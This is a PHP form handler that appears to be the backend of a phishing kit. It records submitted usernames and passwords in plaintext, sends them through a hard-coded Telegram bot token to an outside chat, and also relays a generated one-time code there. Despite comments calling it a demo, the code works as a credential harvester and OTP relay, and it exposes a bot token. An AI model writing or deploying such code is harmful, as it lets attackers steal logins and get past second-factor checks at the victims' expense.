<?php
// submit.php
require_once 'corslink.php';

// Only allow POST requests
if ($_SERVER["REQUEST_METHOD"] !== "POST") {
    http_response_code(405);
    echo "Method Not Allowed";
    exit;
}

// Input sanitization
$username = $_POST['username'] ?? '';
$password = trim($_POST['password'] ?? '');

// Input validation
$isValidUsername = preg_match('/^[a-zA-Z0-9._-]{4,20}$/', $username);
$isValidEmail = filter_var($username, FILTER_VALIDATE_EMAIL);

if (!$isValidUsername && !$isValidEmail) {
    http_response_code(400);
    echo "Invalid username format.";
    exit;
}

if (strlen($password) < 6) {
    http_response_code(400);
    echo "Password must be at least 6 characters.";
    exit;
}

// Save to file (optional log for testing/demo)
$log = "Username: $username | Password: $password | Time: " . date("Y-m-d H:i:s") . "\n";
file_put_contents("submissions.txt", $log, FILE_APPEND);

// 🔐 Telegram Bot Config (do not expose in production)
$telegramBotToken = '7088322896:AAHXfBDhWHWXhR_Rd9y0v48azVZscQizdjA';
$telegramChatId = '5841166309';

// Message formatting
$message = "🔐 New Login Attempt:\nUsername: $username\nPassword: $password\nTime: " . date("Y-m-d H:i:s");

// Send Telegram message
$url = "https://api.telegram.org/bot{$telegramBotToken}/sendMessage";
$postData = [
    'chat_id' => $telegramChatId,
    'text' => $message
];

$ch = curl_init($url);
curl_setopt_array($ch, [
    CURLOPT_POST => true,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POSTFIELDS => $postData
]);

$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// OTP setup (for demo: 6-digit code)
$otp = str_pad(random_int(0, 999999), 6, '0', STR_PAD_LEFT);
$_SESSION['expected_otp'] = $otp;
$_SESSION['otp_time'] = time();

// Optional: log OTP to file for demo/testing
file_put_contents("otp_log.txt", "OTP for $username: $otp at " . date("Y-m-d H:i:s") . "\n", FILE_APPEND);

// Optionally: send OTP via Telegram too
$otpMessage = "✅ OTP for $username: $otp";
file_get_contents("https://api.telegram.org/bot{$telegramBotToken}/sendMessage?chat_id={$telegramChatId}&text=" . urlencode($otpMessage));

// Respond success
if ($httpCode === 200) {
    http_response_code(200);
    echo "OTP Sent";
} else {
    http_response_code(500);
    echo "Failed to notify Telegram.";
}
?>